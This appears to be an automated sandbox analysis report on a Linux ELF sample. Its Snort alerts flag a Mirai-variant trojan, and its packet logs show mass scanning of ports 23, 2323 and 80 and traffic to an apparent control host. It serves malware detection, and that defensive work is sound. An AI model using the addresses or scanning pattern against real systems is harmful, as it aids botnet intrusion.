SHA512:	cfdacbc3e12d4c354a84ac8e920eff639069ce2237f5c1c2b379434a1fd626fad190369117de6a94c45827429241a296fcbc3c0d1a86275278a0a092bdce05ea
SSDEEP:	1536:Dc0fNarwa4HU8Bzi83gZP8SfjLBovCKe9Rbz3JZGH0Xk:DOwa4HU8Bu83gV8S7LBo6L73eU
TLSH:	08634AC8BA43D9F2DC1602B520B7EF338E76F5B6215AF983D3949937BC42A11950399C
File Content Preview:	.ELF....................d...4...........4. ...(.....................................................\...............Q.td............................U..S.......{....h....S...[]...$.............U......=`....t..5....D......D.......u........t....h............

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	67744
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xec76	0x0	0x6	AX	16
.fini	PROGBITS	0x8056d26	0xed26	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8056d40	0xed40	0x19c0	0x0	0x2	A	32
.ctors	PROGBITS	0x8059704	0x10704	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805970c	0x1070c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8059740	0x10740	0x120	0x0	0x3	WA	32
.bss	NOBITS	0x8059860	0x10860	0x6a0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x10860	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x10700	0x10700	6.5300	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x10704	0x8059704	0x8059704	0x15c	0x7fc	4.2899	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2395.86.115.22844280802839471 12/26/23-21:23:00.897407	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44280	80	192.168.2.23	95.86.115.228
192.168.2.2388.99.167.16852598802839471 12/26/23-21:23:01.849361	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52598	80	192.168.2.23	88.99.167.168
192.168.2.2388.198.222.8947328802839471 12/26/23-21:23:35.058090	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47328	80	192.168.2.23	88.198.222.89
192.168.2.23112.158.92.8144126802839471 12/26/23-21:23:30.924464	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44126	80	192.168.2.23	112.158.92.81
192.168.2.2388.99.91.17556290802839471 12/26/23-21:22:57.340648	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	56290	80	192.168.2.23	88.99.91.175
192.168.2.23112.168.104.15151416802839471 12/26/23-21:23:31.473296	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51416	80	192.168.2.23	112.168.104.151
192.168.2.2395.100.81.13541878802839471 12/26/23-21:23:23.509973	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41878	80	192.168.2.23	95.100.81.135
192.168.2.2388.99.71.25158386802839471 12/26/23-21:23:28.305379	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	58386	80	192.168.2.23	88.99.71.251
192.168.2.2395.86.82.9750828802839471 12/26/23-21:22:52.899978	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50828	80	192.168.2.23	95.86.82.97
192.168.2.2395.179.132.19051312802839471 12/26/23-21:23:23.511291	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51312	80	192.168.2.23	95.179.132.190
192.168.2.2395.100.170.6835930802839471 12/26/23-21:23:01.529476	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35930	80	192.168.2.23	95.100.170.68
192.168.2.2388.221.164.4348582802839471 12/26/23-21:23:28.545952	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48582	80	192.168.2.23	88.221.164.43
192.168.2.2395.217.81.17857922802839471 12/26/23-21:23:00.874294	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	57922	80	192.168.2.23	95.217.81.178
192.168.2.2388.248.2.12346312802839471 12/26/23-21:23:27.107344	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46312	80	192.168.2.23	88.248.2.123
192.168.2.2395.86.74.21841588802839471 12/26/23-21:23:05.216322	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41588	80	192.168.2.23	95.86.74.218
192.168.2.2388.146.114.3750428802839471 12/26/23-21:23:28.305582	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50428	80	192.168.2.23	88.146.114.37
192.168.2.2388.221.166.15153744802839471 12/26/23-21:23:09.141059	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53744	80	192.168.2.23	88.221.166.151
192.168.2.2395.100.13.18449946802839471 12/26/23-21:23:22.117802	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	49946	80	192.168.2.23	95.100.13.184
192.168.2.2388.198.205.3736984802839471 12/26/23-21:23:28.303801	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36984	80	192.168.2.23	88.198.205.37
192.168.2.2395.101.10.10247610802839471 12/26/23-21:23:02.105862	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47610	80	192.168.2.23	95.101.10.102
192.168.2.2388.219.41.141632802839471 12/26/23-21:23:12.658330	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	41632	80	192.168.2.23	88.219.41.1
192.168.2.2388.209.212.1353456802839471 12/26/23-21:23:23.266885	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53456	80	192.168.2.23	88.209.212.13
192.168.2.23112.155.160.260244802839471 12/26/23-21:22:48.467192	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	60244	80	192.168.2.23	112.155.160.2
192.168.2.2388.210.102.9837792802839471 12/26/23-21:23:15.911851	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37792	80	192.168.2.23	88.210.102.98
192.168.2.2395.142.37.20943494802839471 12/26/23-21:23:00.898173	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	43494	80	192.168.2.23	95.142.37.209
192.168.2.2395.209.153.17046310802839471 12/26/23-21:23:00.901845	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46310	80	192.168.2.23	95.209.153.170
192.168.2.2395.100.69.12242496802839471 12/26/23-21:23:02.139423	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42496	80	192.168.2.23	95.100.69.122
192.168.2.2395.217.240.353664802839471 12/26/23-21:23:06.184656	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53664	80	192.168.2.23	95.217.240.3
192.168.2.2388.221.66.8936480802839471 12/26/23-21:23:27.054660	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36480	80	192.168.2.23	88.221.66.89
192.168.2.2395.66.173.22544630802839471 12/26/23-21:23:20.694698	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	44630	80	192.168.2.23	95.66.173.225
192.168.2.2388.221.164.4348540802839471 12/26/23-21:23:27.342268	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48540	80	192.168.2.23	88.221.164.43
192.168.2.23112.197.180.3648548802839471 12/26/23-21:23:31.186361	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	48548	80	192.168.2.23	112.197.180.36
192.168.2.2395.100.131.3737124802839471 12/26/23-21:23:05.222014	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37124	80	192.168.2.23	95.100.131.37
192.168.2.2388.225.243.13360110802839471 12/26/23-21:23:12.717033	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	60110	80	192.168.2.23	88.225.243.133
192.168.2.2395.101.5.24845508802839471 12/26/23-21:22:53.833971	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	45508	80	192.168.2.23	95.101.5.248
192.168.2.2388.208.28.18637310802839471 12/26/23-21:23:16.809665	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	37310	80	192.168.2.23	88.208.28.186
192.168.2.2388.85.89.1040030802839471 12/26/23-21:22:48.372452	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40030	80	192.168.2.23	88.85.89.10
192.168.2.2395.131.48.13640864802839471 12/26/23-21:23:28.056704	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40864	80	192.168.2.23	95.131.48.136
192.168.2.2395.27.225.1753568802839471 12/26/23-21:22:53.175130	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53568	80	192.168.2.23	95.27.225.17
192.168.2.2395.179.206.25253006802839471 12/26/23-21:23:02.080652	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	53006	80	192.168.2.23	95.179.206.252
192.168.2.2395.55.197.8246058802839471 12/26/23-21:23:07.236224	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	46058	80	192.168.2.23	95.55.197.82
192.168.2.23112.168.100.14833754802839471 12/26/23-21:23:13.231119	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	33754	80	192.168.2.23	112.168.100.148
192.168.2.2388.97.102.13954232802839471 12/26/23-21:22:51.372031	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	54232	80	192.168.2.23	88.97.102.139
192.168.2.23112.181.80.5260356802839471 12/26/23-21:23:31.149629	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	60356	80	192.168.2.23	112.181.80.52
192.168.2.2388.30.71.7642156802839471 12/26/23-21:23:34.058704	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42156	80	192.168.2.23	88.30.71.76
192.168.2.2395.179.201.24235724802839471 12/26/23-21:23:02.126990	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35724	80	192.168.2.23	95.179.201.242
192.168.2.23112.140.176.3032810802839471 12/26/23-21:23:30.939591	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	32810	80	192.168.2.23	112.140.176.30
192.168.2.23112.169.252.3751984802839471 12/26/23-21:23:20.418959	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51984	80	192.168.2.23	112.169.252.37
192.168.2.2388.79.225.17450492802839471 12/26/23-21:23:27.307491	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50492	80	192.168.2.23	88.79.225.174
192.168.2.2395.216.74.20250984802839471 12/26/23-21:23:05.192743	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	50984	80	192.168.2.23	95.216.74.202
192.168.2.2395.165.146.11240610802839471 12/26/23-21:23:28.092957	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	40610	80	192.168.2.23	95.165.146.112
192.168.2.2395.215.160.10859628802839471 12/26/23-21:23:00.929874	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	59628	80	192.168.2.23	95.215.160.108
192.168.2.23112.197.254.3035174802839471 12/26/23-21:23:08.909499	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	35174	80	192.168.2.23	112.197.254.30
192.168.2.2395.46.32.3842582802839471 12/26/23-21:23:20.681518	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42582	80	192.168.2.23	95.46.32.38
192.168.2.23112.184.24.4652154802839471 12/26/23-21:23:23.941556	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	52154	80	192.168.2.23	112.184.24.46
192.168.2.2388.99.224.9336166802839471 12/26/23-21:23:27.059277	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	36166	80	192.168.2.23	88.99.224.93
192.168.2.2388.157.215.3047628802839471 12/26/23-21:23:35.058005	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	47628	80	192.168.2.23	88.157.215.30
192.168.2.2395.209.136.19442786802839471 12/26/23-21:23:01.233073	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	42786	80	192.168.2.23	95.209.136.194
192.168.2.2395.68.67.5451168802839471 12/26/23-21:23:00.871368	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51168	80	192.168.2.23	95.68.67.54
192.168.2.2388.99.27.14151350802839471 12/26/23-21:23:12.663425	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	51350	80	192.168.2.23	88.99.27.141
192.168.2.2395.101.68.12255414802839471 12/26/23-21:23:00.897386	TCP	2839471	ETPRO TROJAN Mirai Variant User-Agent (Outbound)	55414	80	192.168.2.23	95.101.68.122

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2023 21:22:43.096035957 CET	45725	80	192.168.2.23	112.122.237.60
Dec 26, 2023 21:22:43.096045971 CET	45725	80	192.168.2.23	112.65.209.60
Dec 26, 2023 21:22:43.096056938 CET	45725	80	192.168.2.23	112.216.92.61
Dec 26, 2023 21:22:43.096075058 CET	45725	80	192.168.2.23	112.178.109.107
Dec 26, 2023 21:22:43.096081972 CET	45725	80	192.168.2.23	112.155.152.217
Dec 26, 2023 21:22:43.096082926 CET	45725	80	192.168.2.23	112.38.116.59
Dec 26, 2023 21:22:43.096096039 CET	45725	80	192.168.2.23	112.131.253.103
Dec 26, 2023 21:22:43.096113920 CET	45725	80	192.168.2.23	112.227.35.208
Dec 26, 2023 21:22:43.096112967 CET	45725	80	192.168.2.23	112.148.146.112
Dec 26, 2023 21:22:43.096143961 CET	45725	80	192.168.2.23	112.137.44.221
Dec 26, 2023 21:22:43.096143961 CET	45725	80	192.168.2.23	112.121.97.195
Dec 26, 2023 21:22:43.096143961 CET	45725	80	192.168.2.23	112.133.47.218
Dec 26, 2023 21:22:43.096158981 CET	45725	80	192.168.2.23	112.224.146.193
Dec 26, 2023 21:22:43.096163034 CET	45725	80	192.168.2.23	112.123.50.240
Dec 26, 2023 21:22:43.096164942 CET	45725	80	192.168.2.23	112.94.95.3
Dec 26, 2023 21:22:43.096195936 CET	45725	80	192.168.2.23	112.130.150.191
Dec 26, 2023 21:22:43.096196890 CET	45725	80	192.168.2.23	112.122.165.197
Dec 26, 2023 21:22:43.096203089 CET	45725	80	192.168.2.23	112.194.212.194
Dec 26, 2023 21:22:43.096209049 CET	45725	80	192.168.2.23	112.224.250.172
Dec 26, 2023 21:22:43.096215963 CET	45725	80	192.168.2.23	112.212.185.206
Dec 26, 2023 21:22:43.096231937 CET	45725	80	192.168.2.23	112.219.173.235
Dec 26, 2023 21:22:43.096235991 CET	45725	80	192.168.2.23	112.229.245.154
Dec 26, 2023 21:22:43.096266985 CET	45725	80	192.168.2.23	112.5.192.241
Dec 26, 2023 21:22:43.096266985 CET	45725	80	192.168.2.23	112.78.203.245
Dec 26, 2023 21:22:43.096271038 CET	45725	80	192.168.2.23	112.51.208.126
Dec 26, 2023 21:22:43.096290112 CET	45725	80	192.168.2.23	112.9.155.254
Dec 26, 2023 21:22:43.096295118 CET	45725	80	192.168.2.23	112.25.131.138
Dec 26, 2023 21:22:43.096306086 CET	45725	80	192.168.2.23	112.32.59.206
Dec 26, 2023 21:22:43.096326113 CET	45725	80	192.168.2.23	112.206.118.34
Dec 26, 2023 21:22:43.096348047 CET	45725	80	192.168.2.23	112.236.134.231
Dec 26, 2023 21:22:43.096364975 CET	45725	80	192.168.2.23	112.59.72.81
Dec 26, 2023 21:22:43.096366882 CET	45725	80	192.168.2.23	112.245.61.92
Dec 26, 2023 21:22:43.096379042 CET	45725	80	192.168.2.23	112.108.140.10
Dec 26, 2023 21:22:43.096436977 CET	45725	80	192.168.2.23	112.148.177.210
Dec 26, 2023 21:22:43.096442938 CET	45725	80	192.168.2.23	112.125.105.73
Dec 26, 2023 21:22:43.096446037 CET	45725	80	192.168.2.23	112.29.39.117
Dec 26, 2023 21:22:43.096457958 CET	45725	80	192.168.2.23	112.190.196.49
Dec 26, 2023 21:22:43.096462965 CET	45725	80	192.168.2.23	112.164.197.16
Dec 26, 2023 21:22:43.096478939 CET	45725	80	192.168.2.23	112.244.102.25
Dec 26, 2023 21:22:43.096478939 CET	45725	80	192.168.2.23	112.8.198.107
Dec 26, 2023 21:22:43.096488953 CET	45725	80	192.168.2.23	112.87.3.68
Dec 26, 2023 21:22:43.096513987 CET	45725	80	192.168.2.23	112.189.63.181
Dec 26, 2023 21:22:43.096517086 CET	45725	80	192.168.2.23	112.209.197.210
Dec 26, 2023 21:22:43.096537113 CET	45725	80	192.168.2.23	112.124.109.171
Dec 26, 2023 21:22:43.096538067 CET	45725	80	192.168.2.23	112.194.139.23
Dec 26, 2023 21:22:43.096540928 CET	45725	80	192.168.2.23	112.245.116.181
Dec 26, 2023 21:22:43.096566916 CET	45725	80	192.168.2.23	112.40.207.72
Dec 26, 2023 21:22:43.096605062 CET	45725	80	192.168.2.23	112.70.61.146
Dec 26, 2023 21:22:43.096627951 CET	45725	80	192.168.2.23	112.12.208.16
Dec 26, 2023 21:22:43.096640110 CET	45725	80	192.168.2.23	112.153.54.41
Dec 26, 2023 21:22:43.096643925 CET	45725	80	192.168.2.23	112.108.183.72
Dec 26, 2023 21:22:43.096654892 CET	45725	80	192.168.2.23	112.211.206.186
Dec 26, 2023 21:22:43.096657038 CET	45725	80	192.168.2.23	112.74.203.238
Dec 26, 2023 21:22:43.096663952 CET	45725	80	192.168.2.23	112.143.210.108
Dec 26, 2023 21:22:43.096688032 CET	45725	80	192.168.2.23	112.171.22.185
Dec 26, 2023 21:22:43.096698046 CET	45725	80	192.168.2.23	112.58.127.103
Dec 26, 2023 21:22:43.096703053 CET	45725	80	192.168.2.23	112.99.76.86
Dec 26, 2023 21:22:43.096708059 CET	45725	80	192.168.2.23	112.75.21.160
Dec 26, 2023 21:22:43.096728086 CET	45725	80	192.168.2.23	112.36.143.143
Dec 26, 2023 21:22:43.096744061 CET	45725	80	192.168.2.23	112.245.123.139
Dec 26, 2023 21:22:43.096755028 CET	45725	80	192.168.2.23	112.140.74.122
Dec 26, 2023 21:22:43.096770048 CET	45725	80	192.168.2.23	112.216.247.226
Dec 26, 2023 21:22:43.096770048 CET	45725	80	192.168.2.23	112.197.119.217
Dec 26, 2023 21:22:43.096776962 CET	45725	80	192.168.2.23	112.197.93.161
Dec 26, 2023 21:22:43.096797943 CET	45725	80	192.168.2.23	112.105.58.134
Dec 26, 2023 21:22:43.096817970 CET	45725	80	192.168.2.23	112.136.253.217
Dec 26, 2023 21:22:43.096828938 CET	45725	80	192.168.2.23	112.33.235.211
Dec 26, 2023 21:22:43.096829891 CET	45725	80	192.168.2.23	112.71.242.72
Dec 26, 2023 21:22:43.096846104 CET	45725	80	192.168.2.23	112.63.59.97
Dec 26, 2023 21:22:43.096848965 CET	45725	80	192.168.2.23	112.245.205.11
Dec 26, 2023 21:22:43.096848965 CET	45725	80	192.168.2.23	112.188.82.75
Dec 26, 2023 21:22:43.096863031 CET	45725	80	192.168.2.23	112.28.111.184
Dec 26, 2023 21:22:43.096890926 CET	45725	80	192.168.2.23	112.88.225.215
Dec 26, 2023 21:22:43.096904039 CET	45725	80	192.168.2.23	112.224.71.223
Dec 26, 2023 21:22:43.096908092 CET	45725	80	192.168.2.23	112.212.74.178
Dec 26, 2023 21:22:43.096926928 CET	45725	80	192.168.2.23	112.72.206.4
Dec 26, 2023 21:22:43.096930027 CET	45725	80	192.168.2.23	112.6.181.151
Dec 26, 2023 21:22:43.096961021 CET	45725	80	192.168.2.23	112.146.156.52
Dec 26, 2023 21:22:43.096972942 CET	45725	80	192.168.2.23	112.129.165.148
Dec 26, 2023 21:22:43.096982002 CET	45725	80	192.168.2.23	112.107.128.58
Dec 26, 2023 21:22:43.096985102 CET	45725	80	192.168.2.23	112.141.24.2
Dec 26, 2023 21:22:43.097001076 CET	45725	80	192.168.2.23	112.62.160.134
Dec 26, 2023 21:22:43.097055912 CET	45725	80	192.168.2.23	112.182.31.4
Dec 26, 2023 21:22:43.097065926 CET	45725	80	192.168.2.23	112.133.165.170
Dec 26, 2023 21:22:43.097074986 CET	45725	80	192.168.2.23	112.181.53.3
Dec 26, 2023 21:22:43.097079039 CET	45725	80	192.168.2.23	112.205.241.90
Dec 26, 2023 21:22:43.097088099 CET	45725	80	192.168.2.23	112.123.153.14
Dec 26, 2023 21:22:43.097114086 CET	45725	80	192.168.2.23	112.13.212.247
Dec 26, 2023 21:22:43.097121954 CET	45725	80	192.168.2.23	112.251.117.194
Dec 26, 2023 21:22:43.097131014 CET	45725	80	192.168.2.23	112.146.131.96
Dec 26, 2023 21:22:43.097147942 CET	45725	80	192.168.2.23	112.227.247.166
Dec 26, 2023 21:22:43.097151041 CET	45725	80	192.168.2.23	112.44.41.142
Dec 26, 2023 21:22:43.097153902 CET	45725	80	192.168.2.23	112.61.58.229
Dec 26, 2023 21:22:43.097172022 CET	45725	80	192.168.2.23	112.192.13.69
Dec 26, 2023 21:22:43.097191095 CET	45725	80	192.168.2.23	112.76.201.100
Dec 26, 2023 21:22:43.097207069 CET	45725	80	192.168.2.23	112.160.245.227
Dec 26, 2023 21:22:43.097208023 CET	45725	80	192.168.2.23	112.34.77.199
Dec 26, 2023 21:22:43.097213984 CET	45725	80	192.168.2.23	112.157.204.201
Dec 26, 2023 21:22:43.097223043 CET	45725	80	192.168.2.23	112.47.189.237
Dec 26, 2023 21:22:43.097258091 CET	45725	80	192.168.2.23	112.201.55.108
Dec 26, 2023 21:22:43.097270012 CET	45725	80	192.168.2.23	112.67.236.169
Dec 26, 2023 21:22:43.097282887 CET	45725	80	192.168.2.23	112.34.214.44
Dec 26, 2023 21:22:43.097286940 CET	45725	80	192.168.2.23	112.165.27.185
Dec 26, 2023 21:22:43.097312927 CET	45725	80	192.168.2.23	112.153.47.244
Dec 26, 2023 21:22:43.097312927 CET	45725	80	192.168.2.23	112.240.131.216
Dec 26, 2023 21:22:43.097328901 CET	45725	80	192.168.2.23	112.210.99.87
Dec 26, 2023 21:22:43.097335100 CET	45725	80	192.168.2.23	112.135.6.228
Dec 26, 2023 21:22:43.097343922 CET	45725	80	192.168.2.23	112.99.241.5
Dec 26, 2023 21:22:43.097363949 CET	45725	80	192.168.2.23	112.187.105.244
Dec 26, 2023 21:22:43.097377062 CET	45725	80	192.168.2.23	112.150.161.121
Dec 26, 2023 21:22:43.097379923 CET	45725	80	192.168.2.23	112.12.1.3
Dec 26, 2023 21:22:43.097394943 CET	45725	80	192.168.2.23	112.242.131.196
Dec 26, 2023 21:22:43.097398043 CET	45725	80	192.168.2.23	112.175.152.173
Dec 26, 2023 21:22:43.097402096 CET	45725	80	192.168.2.23	112.200.103.231
Dec 26, 2023 21:22:43.097402096 CET	45725	80	192.168.2.23	112.61.245.181
Dec 26, 2023 21:22:43.097414017 CET	45725	80	192.168.2.23	112.91.70.148
Dec 26, 2023 21:22:43.097438097 CET	45725	80	192.168.2.23	112.59.68.154
Dec 26, 2023 21:22:43.097450972 CET	45725	80	192.168.2.23	112.120.67.36
Dec 26, 2023 21:22:43.097451925 CET	45725	80	192.168.2.23	112.101.208.39
Dec 26, 2023 21:22:43.097462893 CET	45725	80	192.168.2.23	112.49.10.194
Dec 26, 2023 21:22:43.097471952 CET	45725	80	192.168.2.23	112.74.106.106
Dec 26, 2023 21:22:43.097481966 CET	45725	80	192.168.2.23	112.135.210.29
Dec 26, 2023 21:22:43.097490072 CET	45725	80	192.168.2.23	112.195.191.101
Dec 26, 2023 21:22:43.097512960 CET	45725	80	192.168.2.23	112.137.47.211
Dec 26, 2023 21:22:43.097520113 CET	45725	80	192.168.2.23	112.249.132.138
Dec 26, 2023 21:22:43.097522974 CET	45725	80	192.168.2.23	112.74.228.113
Dec 26, 2023 21:22:43.097532034 CET	45725	80	192.168.2.23	112.174.58.31
Dec 26, 2023 21:22:43.097537041 CET	45725	80	192.168.2.23	112.236.236.172
Dec 26, 2023 21:22:43.097548962 CET	45725	80	192.168.2.23	112.246.106.126
Dec 26, 2023 21:22:43.097570896 CET	45725	80	192.168.2.23	112.173.86.228
Dec 26, 2023 21:22:43.097578049 CET	45725	80	192.168.2.23	112.117.35.202
Dec 26, 2023 21:22:43.097578049 CET	45725	80	192.168.2.23	112.48.252.17
Dec 26, 2023 21:22:43.097590923 CET	45725	80	192.168.2.23	112.31.251.165
Dec 26, 2023 21:22:43.097601891 CET	45725	80	192.168.2.23	112.244.36.169
Dec 26, 2023 21:22:43.097650051 CET	45725	80	192.168.2.23	112.221.147.128
Dec 26, 2023 21:22:43.097666979 CET	45725	80	192.168.2.23	112.76.249.238
Dec 26, 2023 21:22:43.097666979 CET	45725	80	192.168.2.23	112.104.169.182
Dec 26, 2023 21:22:43.097687006 CET	45725	80	192.168.2.23	112.187.253.130
Dec 26, 2023 21:22:43.097691059 CET	45725	80	192.168.2.23	112.209.235.243
Dec 26, 2023 21:22:43.097700119 CET	45725	80	192.168.2.23	112.56.207.244
Dec 26, 2023 21:22:43.097729921 CET	45725	80	192.168.2.23	112.213.75.88
Dec 26, 2023 21:22:43.097729921 CET	45725	80	192.168.2.23	112.4.148.85
Dec 26, 2023 21:22:43.097744942 CET	45725	80	192.168.2.23	112.56.30.45
Dec 26, 2023 21:22:43.097748995 CET	45725	80	192.168.2.23	112.2.33.153
Dec 26, 2023 21:22:43.097750902 CET	45725	80	192.168.2.23	112.155.189.55
Dec 26, 2023 21:22:43.097757101 CET	45725	80	192.168.2.23	112.84.28.206
Dec 26, 2023 21:22:43.097774029 CET	45725	80	192.168.2.23	112.204.210.126
Dec 26, 2023 21:22:43.097778082 CET	45725	80	192.168.2.23	112.236.184.148
Dec 26, 2023 21:22:43.097804070 CET	45725	80	192.168.2.23	112.110.59.151
Dec 26, 2023 21:22:43.097809076 CET	45725	80	192.168.2.23	112.66.250.18
Dec 26, 2023 21:22:43.097826958 CET	45725	80	192.168.2.23	112.247.210.48
Dec 26, 2023 21:22:43.097831964 CET	45725	80	192.168.2.23	112.156.245.9
Dec 26, 2023 21:22:43.097847939 CET	45725	80	192.168.2.23	112.110.80.78
Dec 26, 2023 21:22:43.097848892 CET	45725	80	192.168.2.23	112.166.100.205
Dec 26, 2023 21:22:43.097852945 CET	45725	80	192.168.2.23	112.217.100.18
Dec 26, 2023 21:22:43.097856998 CET	45725	80	192.168.2.23	112.255.209.44
Dec 26, 2023 21:22:43.097882986 CET	45725	80	192.168.2.23	112.5.247.143
Dec 26, 2023 21:22:43.097891092 CET	45725	80	192.168.2.23	112.89.85.150
Dec 26, 2023 21:22:43.097893000 CET	45725	80	192.168.2.23	112.34.175.77
Dec 26, 2023 21:22:43.097908974 CET	45725	80	192.168.2.23	112.244.210.143
Dec 26, 2023 21:22:43.098536015 CET	56028	1024	192.168.2.23	141.98.10.47
Dec 26, 2023 21:22:43.098741055 CET	36253	2323	192.168.2.23	39.174.123.50
Dec 26, 2023 21:22:43.098742008 CET	36253	23	192.168.2.23	197.155.7.60
Dec 26, 2023 21:22:43.098746061 CET	36253	23	192.168.2.23	191.212.73.139
Dec 26, 2023 21:22:43.098781109 CET	36253	23	192.168.2.23	69.61.41.168
Dec 26, 2023 21:22:43.098781109 CET	36253	23	192.168.2.23	71.41.67.222
Dec 26, 2023 21:22:43.098783016 CET	36253	23	192.168.2.23	165.31.186.52
Dec 26, 2023 21:22:43.098786116 CET	36253	23	192.168.2.23	129.125.80.80
Dec 26, 2023 21:22:43.098795891 CET	36253	23	192.168.2.23	77.96.178.175
Dec 26, 2023 21:22:43.098824978 CET	36253	23	192.168.2.23	148.117.100.88
Dec 26, 2023 21:22:43.098824978 CET	36253	23	192.168.2.23	123.221.183.239
Dec 26, 2023 21:22:43.098826885 CET	36253	2323	192.168.2.23	72.28.177.66
Dec 26, 2023 21:22:43.098834991 CET	36253	23	192.168.2.23	193.50.117.27
Dec 26, 2023 21:22:43.098834991 CET	36253	23	192.168.2.23	145.69.246.248
Dec 26, 2023 21:22:43.098834991 CET	36253	23	192.168.2.23	68.0.65.195
Dec 26, 2023 21:22:43.098836899 CET	36253	23	192.168.2.23	212.27.144.193
Dec 26, 2023 21:22:43.098874092 CET	36253	23	192.168.2.23	59.134.5.191
Dec 26, 2023 21:22:43.098874092 CET	36253	23	192.168.2.23	166.254.233.129
Dec 26, 2023 21:22:43.098874092 CET	36253	23	192.168.2.23	204.209.160.21
Dec 26, 2023 21:22:43.098877907 CET	36253	23	192.168.2.23	79.163.40.55
Dec 26, 2023 21:22:43.098877907 CET	36253	23	192.168.2.23	185.198.42.96
Dec 26, 2023 21:22:43.098882914 CET	36253	2323	192.168.2.23	50.241.240.200
Dec 26, 2023 21:22:43.098893881 CET	36253	23	192.168.2.23	130.14.217.17
